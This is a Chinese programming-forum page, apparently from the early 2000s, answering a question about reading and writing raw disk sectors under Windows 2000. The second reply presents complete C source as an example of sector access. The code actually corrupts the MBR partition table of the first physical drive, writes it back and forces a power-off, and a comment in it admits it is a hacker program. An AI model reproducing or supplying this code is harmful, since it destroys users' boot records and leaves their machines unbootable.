当前位置:首页
开发技术指南» 文章正文
    引言:
 

 

 ·关于位图的低级问题,送分    »显示摘要«
    摘要: 位图文件格式中第一,二个字节是字符"bm",我看的关于图象处理的书上,判断这两个字节时,直接用位图文件中的bitmapfileheader结构的bftype这个名字,让我不解的是:文件中有又没有存储这两个字节的名字是bftype,程序如何判断前两个字节叫bftype? ......
 ·一个关于new的问题    »显示摘要«
    摘要: 我在写程序的过程中,偶然遇到下面一个问题 byte *m_pimage是一个类的成员 在这个类的一个函数中 如果按下面这样写: m_pimage = new byte [size]; 则m_pimage离开函数后就没有值了 而如果按下面这样写: byte *pimage = null; pimage = new byte [size]; m_pimage = pimage; 则m_pima......


在window2000环境下有没有办法直接读写硬盘的任意sector

就是说在window下能不能读取第n个sector的内容,一般的window   API显然不行,windows对这些硬件的直接操作保护得死死的。

NO.1   作者: shore

使用CreateFile打开如\\.\C:,然后定位文件读写指针,也就是等于定位磁盘扇区,然后读写文件即可,这只在2K   XP提供,98,ME下没有

NO.2   作者: JennyVenus

createfile  
  ....  
   
   
  VC   EXAMPLE  
   
  //演示如何在Windows   NT/2000下对硬盘物理扇区读写  
  #include   <windows.h>  
  #include   <winioctl.h>  
   
  //---------------------------------------------------------------------------  
   
   
  void   WINAPI   ExitWin()  
  {  
  HANDLE   hProcess,   hToken;  
  TOKEN_PRIVILEGES   NewState;  
  DWORD   ProcessId,   ReturnLength   =   0;  
  LUID   luidPrivilegeLUID;  
   
  ProcessId   =   GetCurrentProcessId();  
  hProcess   =   OpenProcess(PROCESS_ALL_ACCESS,   FALSE,   ProcessId);  
  OpenProcessToken(hProcess,TOKEN_ADJUST_PRIVILEGES,   &hToken);  
  LookupPrivilegeValue(NULL,   SE_SHUTDOWN_NAME,   &luidPrivilegeLUID);  
   
  NewState.PrivilegeCount   =   1;  
  NewState.Privileges[0].Luid   =   luidPrivilegeLUID;  
  NewState.Privileges[0].Attributes   =   SE_PRIVILEGE_ENABLED;  
   
  if(AdjustTokenPrivileges(hToken,   FALSE,   &NewState,   NULL,   NULL,   NULL))  
  ExitWindowsEx(EWX_FORCE|EWX_POWEROFF,   0);  
  }  
   
   
  void   WINAPI   KillNT()  
  {  
   
  HANDLE   hDevice;  
  TCHAR   szDevicename[64];  
  LPTSTR   szBuff;  
  DISK_GEOMETRY   Geometry;  
  BOOL   bRet;  
  DWORD   bytes,bread,count;  
  int   i;  
   
  char   *drive   =   "0";  
  wsprintf(szDevicename,"\\\\.\\PHYSICALDRIVE%c",*drive);  
   
  hDevice   =   CreateFile(   szDevicename,  
  GENERIC_READ|GENERIC_WRITE,  
  FILE_SHARE_READ|FILE_SHARE_WRITE,  
  NULL,  
  OPEN_EXISTING,  
  0,  
  NULL  
  );  
   
  if   (hDevice   ==   INVALID_HANDLE_VALUE)  
  {  
  MessageBox(NULL,"打开设备出错",NULL,MB_OK);  
  ExitProcess(0);  
  }  
   
   
  DeviceIoControl(hDevice,FSCTL_LOCK_VOLUME,   NULL,0,NULL,0,&count,NULL);  
   
  DeviceIoControl(hDevice,IOCTL_DISK_GET_DRIVE_GEOMETRY,NULL,0,&Geometry,sizeof(DISK_GEOMETRY),&count,NULL);  
   
  szBuff   =   (LPSTR)HeapAlloc(GetProcessHeap(),HEAP_ZERO_MEMORY,Geometry.BytesPerSector);  
   
  if   (   szBuff   ==   NULL)  
  {  
  MessageBox(NULL,"分配内存出错",NULL,MB_OK);  
  ExitProcess(0);  
  }  
   
  bytes   =   512;  
   
  bRet   =   ReadFile(hDevice,   szBuff,   bytes,   &bread,   NULL);  
   
  if   (bRet==FALSE   ||   bread<512)  
  {  
  MessageBox(NULL,"读MBR出错",NULL,MB_OK);  
  ExitProcess(0);  
  }  
   
   
  *(szBuff   +   0x1be)   =   0x80;  
  *(szBuff   +   0x1bf)   =   0x00;  
  *(szBuff   +   0x1c2)   =   0x05;  
  for   (   i   =   0x1c3;   i   <   510;   i++   )  
  {  
  *(szBuff   +   i)   ^=   0x926;  
  }  
   
  DeviceIoControl(hDevice,FSCTL_UNLOCK_VOLUME,   NULL,0,NULL,0,&count,NULL);  
   
  CloseHandle(hDevice);  
   
  wsprintf(szDevicename,"\\\\.\\PHYSICALDRIVE%c",*drive);  
   
  hDevice   =   CreateFile(   szDevicename,  
  GENERIC_READ|GENERIC_WRITE,  
  FILE_SHARE_READ|FILE_SHARE_WRITE,  
  NULL,  
  OPEN_EXISTING,  
  0,  
  NULL  
  );  
   
  if   (   hDevice   ==   INVALID_HANDLE_VALUE)  
  {  
  MessageBox(NULL,"打开设备出错",NULL,MB_OK);  
  ExitProcess(0);  
  }  
  //这是黑客程序,稍加修改就能在Win98下运行;  
   
   
  DeviceIoControl(hDevice,FSCTL_LOCK_VOLUME,   NULL,0,NULL,0,&count,NULL);  
   
  DeviceIoControl(hDevice,IOCTL_DISK_GET_DRIVE_GEOMETRY,NULL,0,&Geometry,sizeof(DISK_GEOMETRY),&count,NULL);  
   
  bRet   =   WriteFile(hDevice,szBuff,bytes,&bread,NULL);  
   
  if   (bRet==FALSE   ||   bread<512)  
  {  
  MessageBox(NULL,"写MBR出错",NULL,MB_OK);  
  ExitProcess(0);  
  }  
   
   
  DeviceIoControl(hDevice,FSCTL_UNLOCK_VOLUME,   NULL,0,NULL,0,&count,NULL);  
   
  HeapFree(GetProcessHeap(),HEAP_NO_SERIALIZE,szBuff);  
   
  CloseHandle(hDevice);  
   
  ExitWin();  
   
  }  
   
   
  void   WINAPI   OSVer()  
  {  
   
  OSVERSIONINFO   osi;  
   
  osi.dwOSVersionInfoSize   =   sizeof(OSVERSIONINFO);  
   
  if   (GetVersionEx(&osi))  
  {  
  if   (   osi.dwPlatformId   ==   VER_PLATFORM_WIN32_NT)  
  KillNT();  
  }  
   
  }  
   
   
  WINAPI   WinMain(HINSTANCE,   HINSTANCE,   LPSTR,   int)  
  {  
   
  OSVer();  
  return   0;  
  }


 ·dos一问    »显示摘要«
    摘要: 由于本人过度“开发”98,在我的特别照顾下,启动菜单不幸丢失了,98和xp双系统都不能进了,后来我从同学那拷了同样的启动菜单,但是不知道怎么在dos下从软盘提取boot.ini,这是一个隐藏文件。 ......
» 本期热门文章:

©2000-2007 All Rights Reserved. 最佳浏览:1024X768 MSIE